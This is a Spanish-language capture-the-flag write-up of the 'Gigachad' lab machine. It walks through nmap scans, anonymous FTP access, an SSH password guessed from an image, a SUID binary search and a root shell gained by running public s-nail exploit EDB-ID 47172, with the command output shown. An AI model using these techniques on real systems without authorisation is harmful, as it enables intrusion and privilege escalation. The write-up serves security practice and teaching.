Enumeración de servicios
El escaneo revela FTP, SSH y HTTP. El dato más relevante es que FTP permite acceso anónimo y expone el archivo chadinfo; robots.txt también anuncia /kingchad.html, por lo que ambas superficies deben revisarse antes de probar credenciales:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.26
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.26
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 14:49 -04
Nmap scan report for 192.168.1.26
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 1000 1000 297 Feb 07 2021 chadinfo
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/kingchad.html
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.05 secondsObtención de credenciales mediante OSINT
Descargamos chadinfo desde el FTP anónimo. El contenido proporciona el usuario chad y remite a la imagen /drippinchad.png para obtener la contraseña:
❯ cat chadinfo
why yes,
#######################
username is chad
???????????????????????
password?
!!!!!!!!!!!!!!!!!!!!!!!
go to /drippinchad.pngAnalizamos la imagen con Google Lens e identificamos el lugar como la Maiden's Tower. Normalizamos el nombre a minúsculas y sin espacios (maidenstower) y lo probamos contra SSH. Este es un caso dirigido de password guessing basado en contexto, no una certeza derivada únicamente de la imagen:
❯ ssh chad@192.168.1.26
chad@192.168.1.26's password: maidenstower
chad@gigachad:~$La autenticación confirma la hipótesis y nos da una sesión como chad, desde la que recuperamos la primera flag.
Enumeración local
Buscamos ejecutables SUID porque se ejecutan con el UID efectivo de su propietario. Entre los binarios habituales aparece s-nail-privsep, un componente poco común y, por tanto, prioritario para investigar:
chad@gigachad:~$ find / -perm -4000 2>/dev/null
...
/usr/lib/s-nail/s-nail-privsep
...searchsploit relaciona la versión vulnerable de s-nail con una escalada local pública:
❯ searchsploit s-nail
S-nail < 14.8.16 - Local Privilege Escalation | multiple/local/47172.shEscalada de privilegios mediante s-nail
Transferimos y ejecutamos el exploit. Este abusa del componente SUID para crear /var/tmp/.sh con propietario root y el bit SUID activado; después inicia esa shell privilegiada. El writeup conserva el resultado del exploit público EDB-ID 47172, pero no el código suficiente para detallar de forma fiable su condición de carrera interna:
chad@gigachad:/tmp$ ./exploit.sh
...
[+] got root! /var/tmp/.sh (uid=0 gid=0)
[.] Cleaning up...
[+] Success:
-rwsr-xr-x 1 root root 14424 Apr 24 20:36 /var/tmp/.sh
[.] Launching root shell: /var/tmp/.sh
rootLa salida uid=0 y whoami: root confirman la escalada. Recuperamos la flag final y damos por completada la máquina.